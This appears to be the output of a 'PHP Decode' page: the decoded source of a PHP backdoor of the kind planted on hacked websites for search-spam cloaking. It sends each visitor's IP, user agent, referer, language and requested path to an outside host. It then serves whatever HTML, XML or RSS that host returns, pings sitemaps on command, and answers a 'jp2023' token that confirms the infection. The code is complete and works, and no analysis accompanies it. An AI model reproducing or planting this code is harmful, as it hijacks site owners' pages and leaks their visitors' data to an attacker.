PHP Decode

<?php 
error_reporting(0); 
header('Content-Type: text/html; charset=utf-8'); 
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); 
$uri = base64_encode(@$_SERVER['REQUEST_URI']); 
$host = @$_SERVER['HTTP_HOST']; 
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']); 
$referer = base64_encode(@$_SERVER['HTTP_REFERER']); 
$ip = base64_encode(@$_SERVER['REMOTE_ADDR']); 
$zone=base64_encode(date_default_timezone_get()); 
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://'; 
$goweb = "https://fgm255.dualdish.top"; 
$typeName = base64_encode($http_type.$host); 
$geturl = $goweb.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$agent.'&zone='.$zone.'&ip='.$ip.'&goweb='.$goweb.'&referer='.$referer; 
$file_contents = getCurl($geturl); 
if(stripos($_SERVER['REQUEST_URI'],'jp2023')!==false){ 
    echo $host.":cs255-ok;"; 
    exit(); 
} 
if(strstr($file_contents,"[#*#*#]")){ 
    $html = explode("[#*#*#]",$file_contents); 
    if($html[0] == "echohtml"){ echo $html[1]; exit; } 
    if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; } 
    if($html[0] == "echorss"){ header("Content-type: text/xml"); echo $html[1]; exit; } 
    if($html[0] == "pingxml"){ 
        $maps=explode("|||",$html[1]); 
        foreach($maps as $v){ 
            $pingRes = getCurl($v); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR'; 
            echo $v . '===>Sitemap: ' . $Oooo0s ."<br>"; 
        } 
        exit;} 
} 
function getCurl($url) 
{ 
    $file_contents = @file_get_contents($url); 
    if (!$file_contents) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 
        $file_contents = curl_exec($ch); 
        curl_close($ch); 
    } 
    return $file_contents; 
}?>